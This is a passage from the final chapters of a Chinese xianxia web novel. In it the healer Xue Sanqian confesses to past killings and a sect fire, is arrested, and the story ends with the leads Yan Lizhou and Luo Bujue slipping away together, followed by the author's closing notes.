“在倒影浮屠密室边念文的尸体被摆成和其他人一样的姿势,我就猜,了尘对边念文想必没有蛊娘子说的那样吧。” “白洞天不管外界,他一个和尚,白洞天的和尚,跑到那么远的南疆去采药?” “还恰巧碰见了南疆圣女,边念文一个从小在南疆长大的女孩,恰巧摔下来山崖,又恰巧被了尘救了,会不会有点太巧了?” 薛三钱没反驳。 蛊娘子紧紧盯着薛三钱,虽然她也不确定面前这人是不是就是他们要找到那个薛铜。 想到燕黎舟说的这些话,她忍不住蹙眉。 燕黎舟拉长了语调,了尘和边念文的事情,在场的人多多少少都听过,毕竟当年了尘逐出白洞天后创立倒影浮屠并迅速与白洞天并列四大宗门,到现在还有人在吹嘘。 为红颜一怒创辉煌,英雄不问出处,倒影浮屠。 薛三钱依旧表情不变:“所以呢,这跟我怕虫子有什么关系?” 公羊胜在一旁附和道:“对啊对啊。” 燕黎舟顿了一下,如他所愿道:“你很喜欢你的母亲吧,我想她应该是被你父亲强制培育蛊虫,耗心耗神,直到死去。” 燕黎舟盯着薛三钱,道:“倒影浮屠那年大火,也是你放火烧的吧。” 洛不觉闻言看向薛三钱,沈齐包括其他几位长老脸上掩饰不住惊讶。 毕竟当年倒影浮屠被一把大火将所有宗门弟子都烧了个干净,只留下了尘的儿子,也就是薛铜。 白石湖漂亮的狐狸眼眯了眯,天上白云京这会儿六个弟子只来了四个。 肖信然和汲子石留在宗门内,前者是沈齐不在处理宗门事务,后者则是当年大战后就一蹶不振,把自己关在自己山头,谁也不见。 虽说之前也没努力到哪去,可是这些年汲子石连他的武器都鲜少碰了。 一个玩乐器的摆烂师尊养出来个几乎屠了半个修仙界的魔头。 哪怕这事其中汲子石并不知情,但也不妨碍外界把他拖下水。 慕容古的眉头从进来的那时候起就没下来过,沈齐倒是还好,脸上表情还算自然。 其他几个世家掌门和长老脸上倒是没有那么平静了。 面面相觑,全都是吃到大瓜了的震惊。 燕黎舟继续说着自己的猜测:“你发现了你父亲的恶行,又因为那些虫子导致了你母亲的死亡,于是厌恶那些虫子。” 公羊胜蹙眉,忍不住问:“那他为什么要跑去风京装那什么人害死木家,木家和他有什么关系?” “木家灭门也是因为他们当时和你的父亲有交易,理所当然被你当做是害死你母亲的同伙,对吧。” 燕黎舟看着薛三钱道。 薛三钱冷笑一声:“编一个故事就往我身上靠,精彩是很精彩,但我只是一个普通的江湖游医。” 他说着瞥了眼洛不觉:“按你所说,你应该去搜那个薛铜,而不是在我身上浪费时间。” 公羊胜在一旁有些信了燕黎舟的话,但又因为薛三钱的话内心又有些动摇。 公羊胜说的……好像确实有道理,确实不能直接往人家头上扣。 燕黎舟摊手:“你要是不承认也没办法,我也没有办法去验证了尘和边念文当年到底如何。” 下一秒燕黎舟话音一转。 “可是小青可以,你是边念文的儿子,身上带了影巫一族的血脉,你身体里的血,小青能认出来的吧。” 说完,燕黎舟看向蛊娘子,后者点了一下头,伸手去碰肩膀上的小青,小青八条腿乖乖缩在一起趴在蛊娘子的掌心。 “你是不是薛铜,马上就知道了。” 燕黎舟下巴一扬指了下蛊娘子掌心的那小玩意儿。 “……” “呵。”—— 作者有话说:还有一章,往后翻~ 第103章 “你们……” 薛三钱开口, 声音沙哑,却异常平静。 “其实比我想象的,要慢上一些。” 闻言, 公羊胜脸上的表情僵住, 转头去看说话的这个人。 嘴里原本等着薛三钱反驳然后他接着替他辩驳的话一下子全部堵成一团, 像是走火入魔了的灵气般在他浑身乱窜。 公羊胜缓了缓, 小小吸了一口气:“你……” 薛三钱用力挣开公羊胜抓着他袖子的手。 “啧。”他道。 公羊胜有些不知所措, 直到他被薛三钱甩开才如梦初醒般,上前一步。 “你干嘛?” 半箱薛三钱似乎又觉得自己刚刚说的话中重了:“……不是真的对吧。” 薛三钱没说话, 但已经很明显了。 蛊娘子捧着小青, 掌心里翠色的小东西八只眼睛盯着薛三钱,忍不住想要去靠近他。 影巫血脉的气息不断勾引着小青。 薛三钱和那小东西对上视线,随后又挪开视线扫了眼围着他的众人。 “薛三钱, 不是,薛铜!木府几十条人命,是你干的吗!” 公羊胜见薛三钱依旧不理他,气得大声道。 公羊胜气的口不择言:“你一直跟在我们身边, 看着这草精像无头苍蝇一样乱转, 是不是觉得特别有意思!” 洛不觉:“……” 燕黎舟:“……?” 其余人:“…………” 虽说这话公羊胜说的义愤不平, 但怎么都觉得不对味。 薛三钱没理公羊胜的指控,看着房间里的诸位掌门长老,嗤笑。 最终薛三钱的视线落在燕黎舟身上,嘴角扯出一个没有温度的弧度。 他这才转头回答公羊胜的问题道:“一点意思也没有。” “看着你们一步步接近真相, 看着你们为那些所谓的线索焦头烂额。” 薛三钱摊手,干脆承认,语气冰冷和平静:“很无聊。” 公羊胜倒吸一口凉气,难以置信地瞪着他。 不敢相信薛三钱会是那个屠了木府的那个凶手, 薛三钱虽然嘴巴贱了一点,但也不可能是个会杀人的啊。 洛不觉护在燕黎舟周围,燕黎舟眉头紧锁,紧紧盯着薛三钱。 其余的人听完了燕黎舟和薛三钱的对话,全都警惕的看着薛三钱。 薛三钱笑出声,声音压的很低。 “我的父亲,了尘,他从小就告诉我,我娘是被那些臭虫子杀死的,那些都是脏东西……我深信不疑。” 他扯了扯嘴角:“直到后来,我无意中闯进了倒影浮屠最深处,那个连我爹都严禁我踏入的密室……我在那里,看到了我娘。” 薛三钱的声音带上了细微的颤抖 。 或许是震惊于薛三钱就这样承认了,公羊胜还站在公羊胜旁边,眼睛微微瞪大,看着自己身边的这人。 大脑一片空白。 而薛三钱还在继续说着。 “她没死,但她比死了更痛苦!她被囚禁在一个巨大的阵法中央,瘦得只剩下一把骨头,身上爬满了各种蛊虫。” “她还有意识,她看着我,眼睛里全是泪,却发不出一点声音……” 薛三钱咬着牙,声音里充满了恨意,抬起头时两只眼睛都是红的。 “我爹,那个口口声声说爱她,为了救她不惜耗尽心血的男人!” 薛三钱的声音拔高。 “他根本不是在救她!他是在用她的影巫血脉那与蛊虫共生的能力,培育胜心虫,研究他狗屁长生之术!” “你猜的不错。”薛三钱的视线看向燕黎舟。 “倒影浮屠的那场大火,是我放的。” 薛三钱冷冷地接话:“我杀了我爹,放了那把火,我想救我娘出来,可我救不了她,我只能这样做。” 他闭上眼,深吸一口气,抬眼看向燕黎舟等人,眼神偏执。 “木事蓝他和我爹一样,不过是个被长生迷了心窍的蠢货,死有余辜!这一切,都是他们欠我娘的!” “疯了……你真是疯了……”公羊胜听完,看着薛三钱现在让他觉得有些陌生的模样,喃喃道。 其他几位宗门的长老听见缘由,全都眼神复杂,任谁也不会想到表面风光的倒影浮屠创始宗主了尘私底下竟是如此。 清明大师闭上眼拨动着手里的念珠,嘴里不断喃喃自语。 “阿弥陀佛阿弥陀佛……” 薛三钱:“不许念!” “念什么!那男人就该死,永远不要超生!” 洛不觉声音冰冷:“无论你有何缘由,滥杀无辜,都不可取。” 薛三钱轻哼一声,没理洛不觉,伸手直接抓住离他最近的公羊胜的领子。 瞪着眼质问:“你刚刚在喃喃什么?是在可怜我吗?” 薛三钱挑眉,随后似是撕破伤口般将当年的所有血淋淋的告诉公羊胜。 “可怜我屠了你的宗门,杀了十二楼兰的那些只会像老鼠一样躲起来搞些见不得光的杀手勾当的废物东西吗?” 他猛地将公羊胜扯近,几乎是鼻尖对着鼻尖,眼中是毫不掩饰的厌恶。 公羊胜他说出话来后张了张嘴巴,微微瞪大双眼,脑袋里轰的一声,听薛三钱说话,但每个字他好像都不理解是什么意思。 “什……么?什么意思?” “啊,对,你失忆了。” 薛三钱轻笑一声,眉头一松,语气中讽刺意味更甚。 依旧是公羊胜熟悉的欠揍模样,但说出口的话却陌生极了。 “你们十二楼兰,表面上接单杀人,暗地里干的龌龊事还少吗?” “一样为了利益什么都可以出卖,跟我爹,跟木事蓝,跟所有不择手段的人一样,自私自利,令人作呕!” 公羊胜大脑一片空白,他挣扎着,试图摆脱钳制。 “你胡说八道什么!十二楼兰是……是……” 他想反驳是魔族干的,但确实他对于十二楼兰当时是如何灭门的记忆消失的干干净净。 他举起手重重的捶了下自己的脑袋,怎么偏偏忘了呢! 他应该反驳他的,不是真的,不是真的!不可能是这个样子的! 薛三钱看着他这副茫然又挣扎的样子,冷笑更甚,猛地松开手,将公羊胜推搡开。 “我当初吩咐让暴楚楚给你下迷药,没想到她那个废物剂量没掌握好,让你这废物脑子坏掉了,居然失忆了。” 如今薛铜被几人包围,不知道是气急败坏了还是觉得已经到现在了不必再瞒着掩着,问什么说什么。 公羊胜问,他就答。 当年四大宗门几乎要被灭门谁都知道是那魔族,是那谢灯所为。 几乎是薛三钱话刚说出口,沈齐抬手,剑尖指着薛铜,咬牙。 “你与魔族有私!” 薛三钱语气平淡,瞥了沈齐一眼:“可不能这么说,交易罢了。” “我只是稍微帮了一下谢灯,你们攻打谢灯的时候,我不是也帮你们了?还是白嫖的。” 薛三钱语气里一副他们占了大便宜的模样。 说着,薛三钱又看向手里拽着的公羊胜,这人不知道是傻了还是怎么,原本脑子就不好用。 薛三钱冷笑一声,公羊胜表情呆愣,眼角泪水不自觉的糊了一脸,胸口好像更慌了,堵着他,上不去下不来。 燕黎舟在洛不觉后面,见状也是一惊,薛三钱与谢灯居然会有勾结。 怪不得,怪不得之前他拿沃若换洛不觉的时候他们能说那样的话,原来他们跟随的人是薛三钱。 那么早……那么早薛三钱就开始布棋了。 薛三钱还在喋喋不休:“不然你以为,为什么偏偏是你活了下来?为什么整个十二楼兰,只有你公、羊、胜毫发无伤。” 薛三钱凑近公羊胜,一字一句。 “因为是我让人留了你一条命。我想看看,你和我一样失去一切,会不会选择与我一样的道路。” 说到这里,薛铜脸上带着一丝厌恶:“可惜,你只会像个废物一样,苟且偷生!” 慕容古在旁边同样咬牙:“废话什么,拿下他!” 薛三钱自身武力值并不高,几乎不用几人大打出手就被沈齐和慕容古联手制住。 或许,他自身也压根就没有想要反抗。 即使被押着,薛三钱依旧在笑,那笑声带着一种令人毛骨悚然的疯狂。 他死死盯着脸色惨白的公羊胜,嘴角咧开一个充满恶意的弧度,一字一顿地重复道。 “废、物!” 公羊胜浑身一颤:“啊!!!” 他猛地朝薛三钱扑了过去,拳头不断朝着薛三钱击打。 “你闭嘴!闭嘴!你凭什么!凭什么!!” 他状若疯癫,完全失去了平日里的风范。 “我待你那么好,那么好,薛三钱!你个王八蛋,挨千刀的!骗子,煞|笔,草你大爷的薛三钱!” “你……你!” 这还是燕黎舟第一次看公羊胜那么失态,以往从前就算再怎么样这人也只是被气到不说话,也没听到过他骂这么多的脏话。 慕容古押着薛三钱,旁边几位长老出来拦住他。 “公羊兄,冷静!” 沈齐道。 “放开我!我要杀了他!” 公羊胜双目赤红,挣扎着,泪水却不受控制地混着怒吼涌出。 他一直以为他没有和其他人一起死掉是天不亡他十二楼兰,天庇佑他公羊胜,却没想到自己的存活竟是仇人计划的。 而自己竟像个傻子一样,与灭门仇人同行许久而不自知! 薛三钱任由公羊胜的拳头有几下落在自己身上,不闪不避,甚至笑得更加畅快。 “看到了吗?” 他环视着在场的所有人,目光最终落在燕黎舟和洛不觉身上。 “这就是所谓的名门正派,所谓的肆意风流!在仇恨面前,和我又有什么分别?” 洛不觉眉头紧锁,沈齐等人面色也十分难看。 薛三钱挑眉:“只是我行动了,我是对的。” 燕黎舟看着眼前这混乱的一幕,心中五味杂陈。 他看向薛三钱,沉默着依旧是不说话。 薛三钱笑声却戛然而止。 洛不觉上前一步,伸手握住燕黎舟的,旁边沈齐:“……” 白石湖拉住沈齐的衣服,依旧是那副笑模样,只是看向洛不觉和燕黎舟的眼神依旧有些复杂。 算了算了。 慕容古则是选择眼不见心为净,手里押着薛三钱,撇过头看天看地,面对着慕容古的几个人看着这人嫌弃到扭曲还不能说的模样。 面对着慕容古的几人:“……” 薛三钱倒是对这一对狗男男如何无所谓,他看着燕黎舟。 “燕黎舟,你和公羊胜那人应该一样,你也是的。” “明明你也是同样该讨厌他们才是,现在居然不计前嫌和他们站在一起?” 不等燕黎舟说话,薛铜就闭上眼不再去看他们。 慕容古押着薛三钱转身离开,沈齐转身看向燕黎舟,抿了抿唇,刚想说什么房间外突然响起来几个熟悉的声音—— 作者有话说:燃尽了…… 【全文完】 第104章 “燕黎舟!” “燕前辈!” 许久不见的陆乐水和司徒沃这时候不知道从哪里窜出来的, 前者肩膀上甚至还趴着糖饼,风风火火的几步朝着燕黎舟跑过来。 一眼看过去就知道糖饼这一百年被人养的极好,羽毛油光水亮的, 泛着炫彩的光。 看见燕黎舟“啾啾”的挥动了两下肉肉的翅膀, 早了陆乐水两人提前几步扑进燕黎舟的怀里。 “啾啾!” 燕黎舟笑着伸手接住好久不见的糖饼, 指尖在它身上捏了两下。 随后又是嫌弃:“啧, 你别叫糖饼了, 你叫肉饼吧。” 糖饼“啾啾”了两声,不知道是同意还是不同意。 陆乐水过来直接一巴掌拍在燕黎舟身上, 但也是声势大, 压根被没敢用力。 身后司徒沃也是激动,抿着嘴唇,脸微微发红。 沈齐的话也因此又憋回去, 安静地看着撞在一起的几人。 陆乐水:“这一百年你死了啊,一条消息也没有!也不知道来看我一下,天上白云京你不来,陆家你还进不去吗!” 陆乐水一开口也顾不得身边几位长辈都在, 张口就骂, 声音里压不住怒气和哽咽。 司徒沃眼眶也有些红, 瘪着嘴巴,两个人全靠陆乐水那张嘴巴出击。 这一百年俩人明显成长了很多,以前陆乐水莽撞,虽然现在依然是, 但比起之前沉稳了不少。 “红红结了一茬又一茬,长了好多,我每天都数,每次都是正正好好的几个果……” 燕黎舟自己心虚, 但春城一堆子事,他也属实是离不开。 这次还是因为被扣上了那么大一口锅,燕黎舟才来调查木府灭门的案子。 燕黎舟垂眸,陆乐水腰间配的剑燕黎舟没见过,想来是他的本命剑,金色丝丝缕缕的缠在上面。 之前那么嫌弃他哥骚包,自己也不是个低调的主。 旁边透露行踪给自家徒儿的白石湖安安静静,时不时瞥一眼自家掌门师兄,见没有什么反应就收回视线,扇子扇了扇自己的脸,然后再瞥一眼。 心虚都写在脸上。 燕黎舟情急之下几句哄着面前两人一鸟,手忙脚乱的,目光时不时看向洛不觉想要让他帮忙。 后者面无表情,甚至装作没看见燕黎舟求助的眼神,撇过脸不去看燕黎舟。 “……” 燕黎舟不敢直接喊,看着洛不觉冷冷的一个人,害怕自己一会又得多哄一个人。 洛不觉在燕黎舟转过去不看他时才将眸子缓缓又移过来,漂亮的一个人就这样哄完这个哄那个,哄完那个再哄这个。 “……我的错我的错,我这不是回来了吗?” 燕黎舟试图蒙混过关,歪着头去看陆乐水,嘴上哄着人,脸上表情确实看戏的热闹,一点诚意没有。 陆乐水还是哼了一声,勉强放过燕黎舟,但依旧紧紧抓着对方胳膊。 蛊娘子看着这一幕,抿了下唇,将小青重新放回自己肩膀。 “阿哥,我先走了,我想……去看看主人。” 燕黎舟听到蛊娘子的话后抬头沉默着点头,然后扯了下唇角,点头再见。 蛊娘子在燕黎舟点头后直接转身离开,也没有要和其他人打招呼的意思,哪怕是现在情绪不高也不亡对洛不觉翻了个白眼。 洛不觉:“。” 陆乐水这人哄着哄着又要矫情起来,憋不住又想骂这个没良心的,燕黎舟受不了的直接一巴掌拍上陆乐水的脑门。 “好啦好啦,乖一点!”拍完后燕黎舟立马紧接着用掌心轻轻揉着自己刚刚拍的地方。 陆乐水哼哼唧唧,然后嫌弃地看了燕黎舟一眼。 “好恶心啊你,跟陆星华一个发情似的动静。” 燕黎舟皮笑肉不笑的唇角勾起一个弧度。 “话说你们怎么来白洞天了的?” 旁边的白石湖:“!” 不好! 说到这个,沈齐也看向陆乐水两人,洛不觉的消息只发给他们师兄弟几个,陆乐水是怎么知道,并且一来就喊燕黎舟的。 这样想着,沈齐似乎是想到什么,扭头看向把自己脑袋挡在扇子后面,掩耳盗铃装作自己不存在的白石湖。 沈齐:“白师弟。” 白石湖:“……我是有苦衷的师兄。” 司徒沃看看自己师尊,又看看沈齐,插身过去。 “掌门,是我求师尊……” 只不过他的话没说完就被还在和燕黎舟腻歪的陆乐水过来打断:“不是,是我……” 燕黎舟见状,找准时机,伸手捂住头顶糖饼,之前一只手就抓住的鸟,现在要燕黎舟两只手捧着。 他稍稍用了点力气将糖饼脑袋往下一压,捏住糖饼叫唤的喙,转身看向洛不觉。 他没手了,只能眼神示意这人跟上来。 …… “呼!” 燕黎舟和洛不觉趁着屋内的人没空理会他们找准时机远走高飞。 燕黎舟左拐右拐跑了好久,确认陆乐水他们追不上来后这才放缓了速度。 这儿离白洞天的地方不近,但依旧是个鲜少人际的山头,此刻是春生,一地的绿色将脚下铺满。 燕黎舟站在一堆绿色里面,穿着黑色,半扎着发。 洛不觉盯着燕黎舟的背影,盯着他脑后绑着一半头发的那条黑色发带,漆黑的颜色和发丝融在一起。 “唉,有沈齐在,后续事情应该也用不着咱俩操心的吧。”燕黎舟道。 沈齐的能力毋庸置疑,之前大战过后的后续事宜全是沈齐一个人操办,燕黎舟自然相信。 他说完瞥了一眼洛不觉,后者点了点头,燕黎舟这会儿因为动用妖力胸口有些痛,这人却是眉头都没有皱一下。 燕黎舟在内心计算了一下他们刚刚走的路程,轻轻啧了一声。 金手指哪怕剑没了依旧是金手指哈。 他捧着糖饼的手松开一只,指尖点了点糖饼的脑袋,道:“洛不觉,你这几年都喂糖饼什么啊,怎么长这么胖了?” 糖饼不满燕黎舟的说辞似的,被圆胖脑袋衬的小巧的喙啄了啄燕黎舟戳他的手指头。 洛不觉没说话,燕黎舟也没指望他会说什么,木府灭门的案子一落,燕黎舟是要回春城的。 春城不能没有黎主,燕黎舟也待不住天上白云京。 他们现在在的地方看着只有他们两人一鸟,但着燕黎舟清楚,黑金在暗处盯着他们,生怕自己没看住自家黎主就不回去了。 至于陆乐水他们,燕黎舟想着回头再和他们解释吧,大不了回去之后多寄几次信,等那两个小孩情绪缓和下来再说吧。 哄小孩的事情燕黎舟是真的不擅长啊。 燕黎舟这样想着低头去看掌心的糖饼:“唉,你说这小玩意儿在春城能不能养活的了……” 他话没说完旁边一直沉默着的洛不觉忽的伸手,掌心朝下盖住燕黎舟的手,糖饼胖胖一只夹在两只手中间,在侧边倔强的钻出个脑袋。 “啾啾!” 燕黎舟抬头和洛不觉对上视线,对方就盯着他,不说话。 “……” 燕黎舟轻笑一声,空着的那只手伸出来直接拽住洛不觉,然后又松开,向上捏住洛不觉的下颌,将人拉下来把自己的嘴唇贴上去。 洛不觉眸色一暗,依着对方没有半点反抗的意思,任由燕黎舟胡作非为。 旁白的糖饼这会儿不用燕黎舟帮它捏着嘴,很懂事的不发出一点动静,它把自己缩小再缩小,那两人的手隔着它手指侧粘着手指侧。 燕黎舟的吻很短,一触即分,这人这才松开手,依旧保持着亲洛不觉时微仰着下巴的姿势,打量着洛不觉。 洛不觉也在看着他,两个人只是看着对方,鼻尖蹭着鼻尖,睫毛擦着睫毛。 片刻后,洛不觉才慢慢直起身。 燕黎舟伸手,指尖狠狠擦过洛不觉的嘴唇,颇有些逛窑子的大爷模样。 “啧,私奔吧,跟着我。” 云京不见,春城不见!- 全文完—— 作者有话说:最后纠结了好久,还是决定用盐粒子的话结尾 写完这句话的时候脑子里突然蹦出来“云京不见,春城不见!” 打出来盯着看了半天,最终得出结论——像是为了顺口随便凑出来的(bushi 就这样啦!完结喽喽喽~~~~ [撒花][撒花][撒花][撒花][撒花][撒花][撒花][撒花] 最后,番外番外番外呢(……木有一点点灵感